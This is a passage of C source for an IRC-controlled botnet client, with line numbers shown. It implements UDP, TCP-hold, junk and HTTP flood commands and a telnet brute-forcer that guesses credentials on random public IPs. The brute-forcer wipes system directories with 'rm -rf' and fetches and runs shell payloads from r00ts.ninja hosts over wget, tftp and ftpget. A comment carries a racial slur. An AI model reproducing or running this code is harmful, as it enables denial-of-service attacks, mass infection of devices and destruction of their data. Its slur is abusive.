1532
                        fds[i].state = 0;
1533
                    }
1534
                }
1535
                break;
1536
            }
1537
        }
1538
    }
1539
}
1540
1541
char *junk(int sock, char *sender, int argc, char **argv) {
1542
    if(argc < 3 || atoi(argv[3]) < 0) {
1543
        Send(sock, "PRIVMSG %s :7[JUNK] <ip> <port> <time>\n", chan);
1544
        return;
1545
    }
1546
    if(mfork(sender) != 0) return;
1547
    Send(sock, "PRIVMSG %s :7[JUNK] flooding %s:%s\n", chan, argv[1], argv[2]);
1548
    sendJUNK(argv[1], atoi(argv[2]), atoi(argv[3]));
1549
}
1550
1551
void sendHOLD(unsigned char *ip, int port, int end_time)
1552
{
1553
1554
    int max = getdtablesize() / 2, i;
1555
1556
    struct sockaddr_in dest_addr;
1557
    dest_addr.sin_family = AF_INET;
1558
    dest_addr.sin_port = htons(port);
1559
    if(getHost(ip, &dest_addr.sin_addr)) return;
1560
    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1561
1562
    struct state_t
1563
    {
1564
        int fd;
1565
        uint8_t state;
1566
    } fds[max];
1567
    memset(fds, 0, max * (sizeof(int) + 1));
1568
1569
    fd_set myset;
1570
    struct timeval tv;
1571
    socklen_t lon;
1572
    int valopt, res;
1573
1574
    int end = time(NULL) + end_time;
1575
    while(end > time(NULL))
1576
    {
1577
        for(i = 0; i < max; i++)
1578
        {
1579
            switch(fds[i].state)
1580
            {
1581
            case 0:
1582
                {
1583
                    fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1584
                    fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1585
                    if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1586
                    else fds[i].state = 1;
1587
                }
1588
                break;
1589
1590
            case 1:
1591
                {
1592
                    FD_ZERO(&myset);
1593
                    FD_SET(fds[i].fd, &myset);
1594
                    tv.tv_sec = 0;
1595
                    tv.tv_usec = 10000;
1596
                    res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1597
                    if(res == 1)
1598
                    {
1599
                        lon = sizeof(int);
1600
                        getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1601
                        if(valopt)
1602
                        {
1603
                            close(fds[i].fd);
1604
                            fds[i].state = 0;
1605
                        } else {
1606
                            fds[i].state = 2;
1607
                        }
1608
                    } else if(res == -1)
1609
                    {
1610
                        close(fds[i].fd);
1611
                        fds[i].state = 0;
1612
                    }
1613
                }
1614
                break;
1615
1616
            case 2:
1617
                {
1618
                    FD_ZERO(&myset);
1619
                    FD_SET(fds[i].fd, &myset);
1620
                    tv.tv_sec = 0;
1621
                    tv.tv_usec = 10000;
1622
                    res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
1623
                    if(res != 0)
1624
                    {
1625
                        close(fds[i].fd);
1626
                        fds[i].state = 0;
1627
                    }
1628
                }
1629
                break;
1630
            }
1631
        }
1632
    }
1633
}
1634
1635
char *hold(int sock, char *sender, int argc, char **argv) {
1636
    if(argc < 3 || atoi(argv[3]) < 0) {
1637
        Send(sock, "PRIVMSG %s :7[HOLD] <ip> <port> <time>\n", chan);
1638
        return;
1639
    }
1640
    if(mfork(sender) != 0) return;
1641
    Send(sock, "PRIVMSG %s :7[HOLD] flooding [%s:%s]\n", chan, argv[1], argv[2]);
1642
    sendHOLD(argv[1], atoi(argv[2]), atoi(argv[3]));
1643
}
1644
void udpbiatch(int sock, char *sender, int argc, char **argv)
1645
{
1646
	if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > maxSTDpacketsize || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
1647
	{
1648
			Send(sock,"PRIVMSG %s :7[QUDP] <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>\n",chan);
1649
			return;
1650
	}
1651
	if (atoi(argv[3]) > maxtime)
1652
	{
1653
		Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime);
1654
		exit(1);
1655
	}
1656
	if (atoi(argv[5]) > maxSTDpacketsize)
1657
	{
1658
		Send(sock,"PRIVMSG %s :7[QUDP] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize);
1659
		exit(1);
1660
	}
1661
	unsigned char *ip = argv[1];
1662
	int port = atoi(argv[2]);
1663
	int time = atoi(argv[3]);
1664
	int spoofed = atoi(argv[4]);
1665
	int packetsize = atoi(argv[5]);
1666
	int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
1667
	int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
1668
	int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
1669
	
1670
	if(strstr(ip, ",") != NULL)
1671
                {
1672
                        unsigned char *hi = strtok(ip, ",");
1673
                        while(hi != NULL)
1674
                        {
1675
                                if(!listFork())
1676
                                {
1677
                                        sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
1678
                                        _exit(0);
1679
                                }
1680
                                hi = strtok(NULL, ",");
1681
                        }
1682
                } else {
1683
                        if (!listFork()){
1684
							sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
1685
							_exit(0);	
1686
						}
1687
                }
1688
				return;
1689
}
1690
1691
void killall(int sock, char *sender, int argc, char **argv) {
1692
        unsigned long i;
1693
        for (i=0;i<numpids;i++) {
1694
                if (pids[i] != 0 && pids[i] != getpid()) {
1695
                        if (sender) Send(sock,"PRIVMSG %s :4[KILL] PID DROPPED - [%d]\n",chan,pids[i]);
1696
						kill(pids[i],9);
1697
                }
1698
        }
1699
}
1700
void killd(int sock, char *sender, int argc, char **argv) {
1701
    char buf[1024]={0};
1702
    if (disabled == 1) return;
1703
    sprintf(buf,"kill -9 %d;kill -9 0",actualparent);
1704
    system(buf);
1705
    exit(0);
1706
}
1707
void train_ps(int sock, char *sender, int argc, char **argv) {
1708
	int match = 0;
1709
	unsigned int i;
1710
	for (i = 0; i < NUM_ADMINS; i++){
1711
		if (strcasecmp(admins[i], sender) == 0){
1712
			match = 1;
1713
		}
1714
	}
1715
	if(match){
1716
		maxSTDpacketsize = atoi(argv[1]);
1717
		Send(sock, "PRIVMSG %s :7PACKETSIZE: Max Packetsize changed to -> %d\n", chan, maxSTDpacketsize);
1718
	} else {
1719
		Send(sock, "PRIVMSG %s :7PACKETSIZE: You must have admin status to change the Max packetsize!n", chan);
1720
	}
1721
}
1722
1723
void max_bt(int sock, char *sender, int argc, char **argv) {
1724
	int match = 0;
1725
	unsigned int i;
1726
	for (i = 0; i < NUM_ADMINS; i++){
1727
		if (strcasecmp(admins[i], sender) == 0){
1728
			match = 1;
1729
		}
1730
	}
1731
	if(match){
1732
		maxtime = atoi(argv[1]);
1733
		Send(sock, "PRIVMSG %s :7BOOT TIME: Max boot time changed to -> %d\n", chan, maxtime);
1734
	} else {
1735
		Send(sock, "PRIVMSG %s :7BOOT TIME: You must have admin status to change the Max boot time!\n", chan);
1736
	}
1737
}
1738
1739
void max_threads(int sock, char *sender, int argc, char **argv) {
1740
	int match = 0;
1741
	unsigned int i;
1742
	for (i = 0; i < NUM_ADMINS; i++){
1743
		if (strcasecmp(admins[i], sender) == 0){
1744
			match = 1;
1745
		}
1746
	}
1747
	if(match){
1748
		maxthreads = atoi(argv[1]);
1749
		Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: Max threads changed to -> %d\n", chan, maxthreads);
1750
	} else {
1751
		Send(sock, "PRIVMSG %s :7MAX ATTACK THREADS: You must have admin status to change the Max threads!\n", chan);
1752
	}
1753
}
1754
int negotiate(int sock, unsigned char *buf, int len) {
1755
        unsigned char c;
1756
        switch (buf[1]) {
1757
        case CMD_IAC: return 0;
1758
        case CMD_WILL:
1759
        case CMD_WONT:
1760
        case CMD_DO:
1761
        case CMD_DONT:
1762
                c = CMD_IAC;
1763
                send(sock, &c, 1, MSG_NOSIGNAL);
1764
                if (CMD_WONT == buf[1]) c = CMD_DONT;
1765
                else if (CMD_DONT == buf[1]) c = CMD_WONT;
1766
                else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
1767
                else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
1768
                send(sock, &c, 1, MSG_NOSIGNAL);
1769
                send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
1770
                break;
1771
        default:
1772
                break;
1773
        }
1774
1775
        return 0;
1776
}
1777
1778
int contains_string(char* buffer, char** strings) {
1779
        int num_strings = 0, i = 0;
1780
        for(num_strings = 0; strings[++num_strings] != 0; );
1781
        for(i = 0; i < num_strings; i++) {
1782
                if(strcasestr(buffer, strings[i])) {
1783
                        return 1;
1784
                }
1785
        }
1786
        return 0;
1787
}
1788
int contains_success(char* buffer) {
1789
        return contains_string(buffer, successes);
1790
}
1791
int contains_fail(char* buffer) {
1792
        return contains_string(buffer, fails);
1793
}
1794
int contains_response(char* buffer) {
1795
        return contains_success(buffer) || contains_fail(buffer);
1796
}
1797
int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {       
1798
        fd_set read_set;
1799
        struct timeval tv;
1800
        tv.tv_sec = 0;
1801
        tv.tv_usec = timeout_usec;
1802
        FD_ZERO(&read_set);
1803
        FD_SET(fd, &read_set);
1804
        if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
1805
        return 0;
1806
        return recv(fd, buffer, buf_size, 0);
1807
}
1808
int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
1809
        int num_bytes, i;
1810
        memset(buffer, 0, buf_size);
1811
        num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
1812
        if(buffer[0] == 0xFF) {
1813
                negotiate(fd, buffer, 3);
1814
        }
1815
1816
        if(contains_string(buffer, strings)) {
1817
                return 1;
1818
        }
1819
1820
        return 0;
1821
}
1822
const char* get_telstate_host(struct telstate_t* telstate) { // get host
1823
        struct in_addr in_addr_ip; 
1824
        in_addr_ip.s_addr = telstate->ip;
1825
        return inet_ntoa(in_addr_ip);
1826
}
1827
void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
1828
        if(new_state == 0) {
1829
                close(telstate->fd);
1830
        }
1831
        telstate->tTimeout = 0;
1832
        telstate->state = new_state;
1833
        memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
1834
}
1835
void reset_telstate(struct telstate_t* telstate) { // reset
1836
        advance_telstate(telstate, 0);
1837
        telstate->complete = 1;
1838
}
1839
1840
void uzitelscan(int wait_usec, int maxfds, int sock) { 
1841
        if(fork() == -1) return;
1842
    
1843
        int max = getdtablesize() - 100, i, res, num_tmps, j;
1844
        
1845
        char buf[128], cur_dir;
1846
        if (max > maxfds)
1847
                max = maxfds;
1848
        fd_set fdset;
1849
        struct timeval tv;
1850
        socklen_t lon;
1851
        int valopt;
1852
        
1853
        char line[256];
1854
        char* buffer;
1855
        struct sockaddr_in dest_addr;
1856
        dest_addr.sin_family = AF_INET;
1857
        dest_addr.sin_port = htons(23);
1858
        memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1859
        
1860
        buffer = malloc(SOCKBUF_SIZE + 1);
1861
        memset(buffer, 0, SOCKBUF_SIZE + 1);
1862
        
1863
        struct telstate_t fds[max];
1864
        
1865
        memset(fds, 0, max * (sizeof(int) + 1));
1866
        for(i = 0; i < max; i++)
1867
        {
1868
            memset(&(fds[i]), 0, sizeof(struct telstate_t));
1869
            fds[i].complete = 1;
1870
            fds[i].sockbuf = buffer;
1871
        }
1872
        while(1) {
1873
                for(i = 0; i < max; i++) {
1874
                        if(fds[i].tTimeout == 0) {
1875
                                fds[i].tTimeout = time(NULL);
1876
                        }
1877
                        switch(fds[i].state) {
1878
            case 0:
1879
                {
1880
                    if(fds[i].complete == 1)
1881
                    {
1882
                        char *tmp = fds[i].sockbuf;
1883
                        memset(&(fds[i]), 0, sizeof(struct telstate_t));
1884
                        fds[i].sockbuf = tmp;            
1885
                        fds[i].ip = getRandomPublicIP();
1886
                    }
1887
                    else if(fds[i].complete == 0)
1888
                    {
1889
                        fds[i].usernameInd++;
1890
                        fds[i].passwordInd++;
1891
                                    
1892
                        if(fds[i].passwordInd == sizeof(uzipasswords) / sizeof(char *))
1893
                        {
1894
                            fds[i].complete = 1;
1895
                            continue;
1896
                        }
1897
1898
                    }
1899
                                
1900
                    dest_addr.sin_family = AF_INET;
1901
                    dest_addr.sin_port = htons(23);
1902
                    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1903
                    dest_addr.sin_addr.s_addr = fds[i].ip;
1904
                                
1905
                    fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1906
                                
1907
                    if(fds[i].fd == -1) continue;
1908
                    fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1909
                    if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
1910
                    {
1911
                        reset_telstate(&fds[i]);
1912
                    }
1913
                    else
1914
                    {
1915
                        advance_telstate(&fds[i], 1);
1916
                    }
1917
                }
1918
                break;
1919
                
1920
            case 1:
1921
                {
1922
                    FD_ZERO(&fdset);
1923
                    FD_SET(fds[i].fd, &fdset);
1924
                    tv.tv_sec = 0;
1925
                    tv.tv_usec = wait_usec;
1926
                    res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
1927
                    
1928
                    if(res == 1) {
1929
                        fds[i].tTimeout = 0;
1930
                        lon = sizeof(int);
1931
                        valopt = 0;
1932
                        getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1933
                        if(valopt)
1934
                        {
1935
                            reset_telstate(&fds[i]);
1936
                        }
1937
                        else
1938
                        {
1939
                            fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
1940
                            advance_telstate(&fds[i], 2);
1941
                        }
1942
                        continue;
1943
                    }
1944
                    else if(res == -1)
1945
                    {
1946
                        reset_telstate(&fds[i]);
1947
                        continue;
1948
                    }
1949
                    if(fds[i].tTimeout + 7 < time(NULL))
1950
                    {
1951
                        reset_telstate(&fds[i]);
1952
                    }
1953
                }
1954
                break;
1955
            case 2:
1956
                {
1957
                    if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
1958
                    {
1959
                        fds[i].tTimeout = time(NULL);
1960
                        if(contains_fail(fds[i].sockbuf))
1961
                        {
1962
                            advance_telstate(&fds[i], 0);
1963
                        }
1964
                        else
1965
                        {
1966
							Send(sock, "PRIVMSG %s :13[UZI] [+] VULN DEVICE ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i]));
1967
                            advance_telstate(&fds[i], 3);
1968
                        }
1969
                        continue;
1970
                    }
1971
                    if(fds[i].tTimeout + 7 < time(NULL))
1972
                    {
1973
                        reset_telstate(&fds[i]);
1974
                    }
1975
                }
1976
                break;
1977
            case 3:
1978
                {
1979
                    if(send(fds[i].fd, uziusernames[fds[i].usernameInd], strlen(uziusernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
1980
                    {
1981
                        reset_telstate(&fds[i]);
1982
                        continue;
1983
                    }
1984
                    if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
1985
                    {
1986
                        reset_telstate(&fds[i]);
1987
                        continue;
1988
                    }
1989
					Send(sock, "PRIVMSG %s :13[UZI] [+] USERNAME SENT ---> [%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd]);
1990
                    advance_telstate(&fds[i], 4);
1991
                }
1992
                break;
1993
            case 4:
1994
                {
1995
                    if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
1996
                    {
1997
                        fds[i].tTimeout = time(NULL);
1998
                        if(contains_fail(fds[i].sockbuf))
1999
                        {
2000
                            advance_telstate(&fds[i], 0);
2001
                        }
2002
                        else
2003
                        {
2004
							Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD ATTEMPT ---> [%s:23]\n", CHAN, get_telstate_host(&fds[i]));
2005
                            advance_telstate(&fds[i], 5);
2006
                        }
2007
                        continue;
2008
                    }
2009
                    if(fds[i].tTimeout + 7 < time(NULL))
2010
                    {
2011
                        reset_telstate(&fds[i]);
2012
                    }
2013
                }
2014
                break;                                
2015
            case 5:
2016
                {
2017
                    if(send(fds[i].fd, uzipasswords[fds[i].passwordInd], strlen(uzipasswords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
2018
                    {
2019
                        reset_telstate(&fds[i]);
2020
                        continue;
2021
                    }
2022
                    if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
2023
                    {
2024
                        reset_telstate(&fds[i]);
2025
                        continue;
2026
                    }
2027
					Send(sock, "PRIVMSG %s :13[UZI] [+] PASSWORD SENT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]),uziusernames[fds[i].usernameInd],  uzipasswords[fds[i].passwordInd]);
2028
                    advance_telstate(&fds[i], 6);
2029
                }
2030
                break;                                    
2031
            case 6:
2032
                {
2033
                    if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2)) 
2034
                    {
2035
                        fds[i].tTimeout = time(NULL);
2036
                        
2037
                        if(contains_fail(fds[i].sockbuf))
2038
                        {
2039
                            advance_telstate(&fds[i], 0);
2040
                        }
2041
                        else if(contains_success(fds[i].sockbuf))
2042
                        {
2043
                            if(fds[i].complete == 2)
2044
                            {
2045
                                Send(sock, "PRIVMSG %s :13[UZI] [+] INFECT ATTEMPT DETECTED ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2046
                                advance_telstate(&fds[i], 7);
2047
                            }
2048
                        }
2049
                        else
2050
                        {
2051
                            reset_telstate(&fds[i]);
2052
                        }
2053
                        continue;
2054
                    }
2055
                    if(fds[i].tTimeout + 30 < time(NULL)) {
2056
                        reset_telstate(&fds[i]);
2057
                    }
2058
                }
2059
                break;
2060
			case 7:
2061
                {
2062
                    if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
2063
                    advance_telstate(&fds[i], 8);
2064
                }
2065
				case 8:
2066
                {
2067
                    fds[i].tTimeout = 0;
2068
                    if(send(fds[i].fd, "rm -rf /tmp/* /var/* /dev/* /var/run/* /var/tmp/* /dev/shm/* /mnt/* /boot/* /usr/*\r\n", 84, MSG_NOSIGNAL) < 0) {
2069
                        Send(sock, "PRIVMSG %s :13[UZI] [+] DIRECTORIES CLEARED ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2070
                        advance_telstate(&fds[i], 9);
2071
                        continue;
2072
                    }
2073
				}
2074
            case 9:
2075
                {
2076
                    fds[i].tTimeout = time(NULL);
2077
                    if(send(fds[i].fd, "/bin/busybox wget lol.r00ts.ninja/w.sh || wget lol.r00ts.ninja/w.sh && sh w.sh\r\n", 80, MSG_NOSIGNAL) < 0) {
2078
						Send(sock, "PRIVMSG %s :13[UZI] [-] WGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2079
                        reset_telstate(&fds[i]);
2080
                        continue;
2081
                    }
2082
					if(fds[i].tTimeout + 45 < time(NULL))  {
2083
						send(fds[i].fd, "/bin/busybox tftp tftp.r00ts.ninja -c get u.sh && /bin/busybox tftp -r u.sh -g tftp.r00ts.ninja || tftp tftp.r00ts.ninja -c get u.sh && tftp -r u.sh -g tftp.r00ts.ninja && sh u.sh && bash u.sh\r\n", 194, MSG_NOSIGNAL);
2084
						Send(sock, "PRIVMSG %s :13[UZI] [-] TFTP PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2085
                        reset_telstate(&fds[i]);
2086
					}
2087
					if(fds[i].tTimeout + 45 < time(NULL))  {
2088
						send(fds[i].fd, "ftpget -v -u anonymous -p anonymous -P 21 21ftp.r00ts.ninja f1.sh && sh ftp1.sh\r\n", 81, MSG_NOSIGNAL);
2089
						Send(sock, "PRIVMSG %s :13[UZI] [-] FTPGET PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2090
                        reset_telstate(&fds[i]);
2091
					}
2092
						else {
2093
                        Send(sock, "PRIVMSG %s :13[UZI] [+] PAYLOAD SENT ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2094
                        if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, infectconfirm)) {
2095
                            Send(sock, "PRIVMSG %s :13[UZI] [+] SUCCESSFUL INFECTION ---> [%s:%s:%s:23]\n", CHAN, inet_ntoa(*(struct in_addr *)&(fds[i].ip)), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2096
                            reset_telstate(&fds[i]);
2097
                            continue;
2098
                        }
2099
                    }
2100
                        
2101
                    if(fds[i].tTimeout + 60 < time(NULL)) {
2102
                        if(fds[i].complete!=3) {
2103
                            Send(sock, "PRIVMSG %s :13[UZI] [-] FAILED TO INFECT ---> [%s:%s:%s:23]\n", CHAN, get_telstate_host(&fds[i]), uziusernames[fds[i].usernameInd], uzipasswords[fds[i].passwordInd]);
2104
                        }
2105
                        reset_telstate(&fds[i]);
2106
                    }
2107
                    break;
2108
                }
2109
				
2110
            }
2111
        }
2112
    }
2113
}
2114
2115
void uzitelscanargs(int sock) {
2116
        uint32_t parent;
2117
        parent = fork();
2118
        int forks = sysconf(_SC_NPROCESSORS_ONLN);
2119
        int fds = forks * 512; //Far effective. 100 sockets for each CPU. - ZoneHax
2120
        if(parent > 0) {
2121
            scanPid = parent;
2122
            return;
2123
        }
2124
        else if(parent == -1) return;
2125
        int ii;
2126
        for(ii = 0; ii < forks; ii++) {
2127
            srand((time(NULL) ^ getpid()) + getppid());
2128
            init_rand(time(NULL) ^ getpid());
2129
            uzitelscan(5000, fds, sock);
2130
         }
2131
         return;
2132
}
2133
2134
void uziscanstart(int sock, char *sender, int argc, char **argv) {
2135
    if(argc < 1) {
2136
        Send(sock, "NOTICE %s :UZIBRUTE <ON/OFF>\n", sender);
2137
        return;
2138
    }
2139
    if(!strcmp(argv[1], "ON")) {
2140
        if(scanPid == 0) {
2141
            uzitelscanargs(sock);
2142
            if(scanPid != 0) {
2143
                Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE STARTED!\n", chan); //Scanner has been started successfully!!!
2144
                return;
2145
            } else {
2146
                Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO START UZIBRUTE!\n", chan);
2147
                return;
2148
            }
2149
        } else {
2150
            Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE ALREADY STARTED!\n", chan);
2151
            return;
2152
        }
2153
    }
2154
    if(!strcmp(argv[1], "OFF")) {
2155
        if(scanPid != 0) {
2156
            if(kill(scanPid, 9) == 0) {
2157
                Send(sock, "PRIVMSG %s :4 6[UZI] [+] UZIBRUTE KILLED!\n", chan);
2158
                scanPid = 0;
2159
                return;
2160
            } else {
2161
                Send(sock, "PRIVMSG %s :4[UZI] 6[-] FAILED TO KILL UZIBRUTE!\n", chan);
2162
                return;
2163
            }
2164
        } else {
2165
            Send(sock, "PRIVMSG %s :4[UZI] 6[+] UZIBRUTE NOT STARTED!\n", chan);
2166
            return;
2167
        }
2168
    } else {
2169
        Send(sock, "NOTICE %s :4[UZI] 11[+] UZIBRUTE <ON/OFF>\n", sender);
2170
        return;
2171
    }
2172
}
2173
// Good IRC Client - Skid edited by zonehax (you can see this retard name all over it, fucking nigger)
2174
// Leaked by unknown, reposted by Scarface. 23/5/2018
2175
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
2176
	{ "QUDP", udpbiatch },
2177
	{ "QTCP", sendTCP},
2178
	{ "STD", regstd},
2179
	{ "TSTD", threadstd},
2180
	{ "QHOLD", hold },
2181
    { "QJUNK", junk },
2182
	{ "RUDP", rawUDP },
2183
	{ "UZIBRUTE", uziscanstart },
2184
	{ "NICK", nickc },
2185
	{ "UZIMUSTDIE", killd },
2186
	{ "HTTPFLOOD", HTTP },
2187
	{ "KILLALL", killall },
2188
	{ "HELP", help },
2189
	{ "PACKETSIZECHANGE", train_ps },
2190
	{ "MAXBOOTCHANGE", max_bt },
2191
	{ "MAXATTACKTHREADS", max_threads },
2192
	{ (char *)0, (void (*)(int,char *,int,char **))0 } };
2193
2194
void _PRIVMSG(int sock, char *sender, char *str) {
2195
        int i;
2196
        char *to, *message;
2197
        for (i=0;i<strlen(str) && str[i] != ' ';i++);
2198
        str[i]=0;
2199
        to=str;
2200
        message=str+i+2;
2201
        for (i=0;i<strlen(sender) && sender[i] != '!';i++);
2202
        sender[i]=0;
2203
        if (*message == '!' && !strcasecmp(to,chan)) {
2204
                char *params[12], name[1024]={0};
2205
                int num_params=0, m;
2206
                message++;
2207
                for (i=0;i<strlen(message) && message[i] != ' ';i++);
2208
                message[i]=0;
2209
                if (strwildmatch(message,nick)) return;
2210
                message+=i+1;
2211
                if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock, "NOTICE %s :Unable to comply.\n", sender); else Send(sock, "%s\n",message+4);
2212
                m=strlen(message);
2213
                for (i=0;i<m;i++) {
2214
                        if (*message == ' ' || *message == 0) break;
2215
                        name[i]=*message;
2216
                        message++;
2217
                }
2218
                for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
2219
                num_params++;
2220
                if (num_params > 10) num_params=10;
2221
                params[0]=name;
2222
                params[num_params+1]="\0";
2223
                m=1;
2224
                while (*message != 0) {
2225
                        message++;
2226
                        if (m >= num_params) break;
2227
                        for (i=0;i<strlen(message) && message[i] != ' ';i++);
2228
                        params[m]=(char*)malloc(i+1);
2229
                        strncpy(params[m],message,i);
2230
                        params[m][i]=0;
2231
                        m++;
2232
                        message+=i;
2233
                }
2234
                for (m=0; flooders[m].cmd != (char *)0; m++) {
2235
                        if (!strcasecmp(flooders[m].cmd,name)) {
2236
                                flooders[m].func(sock,sender,num_params-1,params);
2237
                                for (i=1;i<num_params;i++) free(params[i]);
2238
                                return;
2239
                        }
2240
                }
2241
        }
2242
}
2243
void _376(int sock, char *sender, char *str) {
2244
        Send(sock,"MODE %s -xi\n",nick);
2245
        Send(sock,"JOIN %s :%s\n",chan,key);
2246
        Send(sock,"WHO %s\n",nick);
2247
}
2248
void _PING(int sock, char *sender, char *str) {
2249
        Send(sock,"PONG %s\n",str);
2250
}
2251
void _352(int sock, char *sender, char *str) {
2252
        int i,d;
2253
        char *msg=str;
2254
        struct hostent *hostm;
2255
        unsigned long m;
2256
        for (i=0,d=0;d<5;d++) {
2257
                for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
2258
                if (i == strlen(str)) return;
2259
        }
2260
        for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
2261
        msg[i]=0;
2262
        if (!strcasecmp(msg,nick) && !spoofsm) {
2263
                msg=str;
2264
                for (i=0,d=0;d<3;d++) {
2265
                        for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
2266
                        if (i == strlen(str)) return;
2267
                }
2268
                for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
2269
                msg[i]=0;
2270
                if ((m = inet_addr(msg)) == -1) {
2271
                        if ((hostm=gethostbyname(msg)) == NULL) {
2272
                               
2273
                                return;
2274
                        }
2275
                        memcpy((char*)&m, hostm->h_addr, hostm->h_length);
2276
                }
2277
                ((char*)&spoofs)[3]=((char*)&m)[0];
2278
                ((char*)&spoofs)[2]=((char*)&m)[1];
2279
                ((char*)&spoofs)[1]=((char*)&m)[2];
2280
                ((char*)&spoofs)[0]=0;
2281
                spoofsm=256;
2282
        }
2283
}
2284
void _433(int sock, char *sender, char *str) {
2285
        free(nick);
2286
        nick=makestring();
2287
}
2288
void _NICK(int sock, char *sender, char *str) {
2289
	int i;
2290
        for (i=0;i<strlen(sender) && sender[i] != '!';i++);
2291
        sender[i]=0;
2292
	if (!strcasecmp(sender,nick)) {
2293
		if (*str == ':') str++;
2294
		if (nick) free(nick);
2295
		nick=strdup(str);
2296
	}
2297
}
2298
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
2299
        { "352", _352 },
2300
        { "376", _376 },
2301
        { "433", _433 },
2302
        { "422", _376 },
2303
        { "PRIVMSG", _PRIVMSG },
2304
        { "PING", _PING },
2305
	{ "NICK", _NICK },
2306
{ (char *)0, (void (*)(int,char *,char *))0 } };
2307
void con() {
2308
        struct sockaddr_in srv;
2309
        unsigned long ipaddr,start;
2310
        int flag;
2311
        struct hostent *hp;
2312
start:
2313
	sock=-1;
2314
	flag=1;
2315
	if (changeservers == 0) server=servers[rand()%numservers];
2316
	changeservers=0;
2317
